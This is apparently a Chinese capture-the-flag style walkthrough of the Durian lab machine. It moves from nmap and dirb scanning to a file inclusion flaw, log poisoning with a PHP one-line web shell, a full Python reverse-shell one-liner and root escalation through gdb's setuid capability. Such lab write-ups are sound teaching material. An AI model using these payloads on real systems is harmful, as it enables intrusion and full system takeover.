Durian靶机
环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式
一.明确目标
探测目标主机IP情况
nmap 192.168.153.0/24
目标主机IP:192.168.153.140
Kali的IP:192.168.153.129
二.信息搜集
Nmap 进行常规端口开放扫描
进行namp全端口服务枚举
nmap 192.168.153.140 -p- -A
可以看到开放了的端口
ssh 22端口,http 80端口,8088/tcp open radan-http,7080/tcp open ssl/empowerid
对该网站目录进行爆破枚举,利用到的是kali上的dirb:
dirb http://192.168.153.140
http://192.168.153.140/blog/
http://192.168.153.140/cgi-data/
http://192.168.153.140/index.html
http://192.168.153.140/blog/wp-admin/admin.php
http://192.168.153.140/blog/wp-content/index.php
http://192.168.153.140/blog/wp-content/plugins/index.php
通过尝试,发现http://192.168.153.140/cgi-data/ 下有getlmage.php文件
点击进入后,按F12发现疑似有文件包含漏洞
在其URL后输入?file=/etc/passwd尝试是否可以
包含密码文件成功。
三.近一步权限提升
已经找到文件包含的位置了,但是没有文件上传的位置,那只能考虑写入木马到日志文件,然后利用文件包含漏洞去包含日志文件即可
网上查找资料发现Durian的默认日志文件路径为/var/log/durian.log/access.log(也是Apache日志文件)
尝试使用文件包含漏洞包含日志文件
可以看到成功包含,那就简单了,只需要抓包往里面写入木马就行了
使用burpsuite进行抓包,发送到repeater模块
在UA(User-Agent)里写入一句话木马,然后利用文件包含漏洞去执行它
<?php system($_GET['cmd']); ?>
再浏览器中输入
http://192.168.153.140/cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=whoami
,尝试木马是否成功执行,发现成功显示当前用户为“www-data”
再使用python反弹shell,cmd=
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.153.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Kali中事先设置好监听端口8888
查看有什么权限,你别说这命令是真好用!发现两个文件具有root权限:
sudo -l
查看特权操作
getcap -r / 2>/dev/null
getcap:查看可执行文件获取的内核权限
r :代表顶层目录
2>/dev/null的意思就是将标准错误stderr删掉
这里呢就不得不说一下getcap了:
Linux是一种安全操作系统,它给普通用户尽可能低的权限,而把全部的系统权限赋予一个单一的帐户–root。root帐户用来管理系统、安装软件、管理帐户、运行某些服务、安装/卸载文件系统、管理用户、安装软件等。另外,普通用户的很多操作也需要root权限,这通过setuid实现。这种依赖单一帐户执行特权操作的方式加大了系统的面临风险,而需要root权限的程序可能只是为了一个单一的操作,例如:绑定到特权端口、打开一个只有root权限可以访问的文件。某些程序可能有安全漏洞,而如果程序不是以root的权限运行,其存在的漏洞就不可能对系统造成什么威胁。
Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。
- libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
- libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。
简单说就是:使用getcap命令,我们可以看到ping文件的capabilities:
#getcap /bin/ping
/bin/ping = cap_net_raw+ep
四.提权
发现有gdb,那么咱们可以使用这个来提权:(有关gdb提权的:https://www.cnblogs.com/f-carey/p/16026088.html#tid-HnbJCZ)
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
简单说明一下:
gdb:简单理解就是可以启动程序并且按照自己定义随心所欲的运行程序
-nx:不要从任何.gdbinit初始化文件执行命令
-ex:执行给定的GDB命令
简单理解就是首先利用gdb的权限去执行命令:命令的作用是利用python 设置一个uid为0(那就是root)的shell
查看当前用户whoami,发现是root用户。成功提权!!!!!!!
五.总结
1)信息收集
1、nmap信息挖掘。2、挖掘HTTP服务信息。3、搜寻页面有用的信息(在页面中F12看见有文件包含漏洞,查看/etc/passwd文件,发现包含成功。已经找到文件包含的位置了,但是没有文件上传的位置,那只能考虑写入木马到日志文件,然后利用文件包含漏洞去包含日志文件即可网上查找资料发现Durian的默认日志文件路径为/var/log/durian.log/access.log(也是Apache日志文件))
2)再利用bp抓包,修改UA写入一句话木马 <?php system($_GET['cmd']); ?>,成功后利用python一句话木马反弹shell
3)提权:
1、sudo -l(查看有什么权限)提权
2.利用gdb提权